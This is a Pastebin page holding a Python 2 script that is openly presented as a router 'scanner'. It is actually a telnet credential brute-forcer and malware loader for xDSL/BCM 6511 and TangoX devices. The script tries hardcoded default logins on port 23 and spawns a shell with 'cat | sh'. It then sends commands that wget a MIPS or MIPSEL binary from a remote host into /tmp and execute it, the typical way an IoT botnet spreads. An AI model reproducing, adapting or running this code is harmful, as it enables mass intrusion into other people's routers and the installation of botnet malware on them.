Advertisement
LNO_LiGhT

xDSL/Broadband(BCM/6511) Router Scanner | By; LiGhT

Feb 12th, 2017
2,667
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.42 KB | None | 0 0
  1. #!/usr/bin/python
  2. # xDSL/Broadband(BCM/6511) Router Scanner | By; LiGhT
  3. # ALL CIDR RANGES: http://pastebin.com/raw/q8AHkXcq
  4.  
  5. import threading
  6. import sys, os, re, time, socket
  7. from Queue import *
  8. from sys import stdout
  9.  
  10. if len(sys.argv) < 3:
  11.     print "Usage: python "+sys.argv[0]+" <list> <threads>"
  12.     sys.exit()
  13.  
  14. ips = open(sys.argv[1], "r").readlines()
  15. threads = int(sys.argv[2])
  16. queue = Queue()
  17. combo = ["support:support", "admin:admin", "supervisor:zyad1234"] #dont change unless you know what u are doing
  18. cmd_mips = "cd /tmp; wget http://1.1.1.1/mips; chmod 777 mips; ./mips; rm -rf mips"
  19. cmd_mipsel = "cd /tmp; wget http://1.1.1.1/mipsel; chmod 777 mipsel; ./mips; rm -rf mipsel"
  20. queue_count = 0
  21.  
  22. for ip in ips:
  23.     queue_count += 1
  24.     stdout.write("\r[%d] Added to queue" % queue_count)
  25.     stdout.flush()
  26.     queue.put(ip)
  27. print "\n"
  28.  
  29. def readUntil(tn, string, timeout=8):
  30.     buf = ''
  31.     start_time = time.time()
  32.     while time.time() - start_time < timeout:
  33.         buf += tn.recv(2048)
  34.         time.sleep(0.01)
  35.         if string in buf: return buf
  36.     raise Exception('TIMEOUT!')
  37.  
  38. def worker():
  39.     try:
  40.         while True:
  41.             try:
  42.                 iP = queue.get()
  43.                 thrd = router(iP)
  44.                 thrd.start()
  45.                 queue.task_done()
  46.                 time.sleep(0.5)
  47.             except:
  48.                 print "[*] THREAD UNABLE TO START"
  49.                 pass
  50.     except:
  51.         pass
  52.  
  53. class router(threading.Thread):
  54.     def __init__ (self, ip):
  55.         threading.Thread.__init__(self)
  56.         self.ip = str(ip).rstrip('\n')
  57.     def run(self):
  58.         end = 0
  59.         while (end == 0):
  60.             try:
  61.                 try:
  62.                     tn = socket.socket()
  63.                     tn.settimeout(10)
  64.                     tn.connect((self.ip,23))
  65.                 except Exception:
  66.                     end = 1
  67.                     tn.close()
  68.                 username = ""
  69.                 password = ""
  70.                 for passwd in combo:
  71.                     if ":n/a" in passwd:
  72.                         password=""
  73.                     else:
  74.                         password=passwd.split(":")[1]
  75.                     if "n/a:" in passwd:
  76.                         username=""
  77.                     else:
  78.                         username=passwd.split(":")[0]
  79.                     try:
  80.                         hoho = ''
  81.                         hoho += readUntil(tn, ":")
  82.                         if "Login" in hoho:
  83.                             tn.send(username + "\n")
  84.                             time.sleep(0.09)
  85.                         elif "tangox" in hoho:
  86.                             tn.send("default" + "\n")
  87.                             time.sleep(0.09)
  88.                         else:
  89.                             tn.close()
  90.                             end = 1
  91.                     except Exception:
  92.                         end = 1
  93.                         tn.close()
  94.                     try:
  95.                         hoho = ''
  96.                         hoho += readUntil(tn, ":")
  97.                         if "assword" in hoho:
  98.                             tn.send(password + "\n")
  99.                             time.sleep(0.8)
  100.                         else:
  101.                             pass
  102.                     except Exception:
  103.                         end = 1
  104.                         tn.close()
  105.                     try:
  106.                         prompt = ''
  107.                         prompt += tn.recv(2048)
  108.                         if ">" in prompt:
  109.                             tn.send("cat | sh" + "\n")
  110.                             prompt = ''
  111.                             prompt += readUntil(tn, ">")
  112.                             if "unrecognized command cat" in prompt:
  113.                                 print "\033[31m[!] Failed To Spawn Shell!\033[37m"
  114.                                 tn.close()
  115.                                 end = 1
  116.                             else:
  117.                                 tn.send(cmd_mips + "\n")
  118.                                 print "\033[32m[%s] xDSL Command Sent!\033[37m"%(self.ip)
  119.                                 time.sleep(10)
  120.                                 tn.close()
  121.                                 end = 1
  122.                         elif "default@tangox" in prompt:
  123.                             tn.send(cmd_mipsel + "\n")
  124.                             print "\033[32m[%s] TangoX Command Sent!\033[37m"%(self.ip)
  125.                             time.sleep(10)
  126.                             tn.close()
  127.                             end = 1
  128.                         else:
  129.                             print "\033[31m[$] Failed!\033[37m"
  130.                             end = 0
  131.                     except Exception:
  132.                         end = 1
  133.                         tn.close()
  134.             except:
  135.                 pass
  136.    
  137. for l in xrange(threads):
  138.     try:
  139.         t = threading.Thread(target=worker)
  140.         t.start()
  141.         time.sleep(0.03)
  142.     except:
  143.         print "[-] FAILED TO START WORKER THREAD"
  144.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement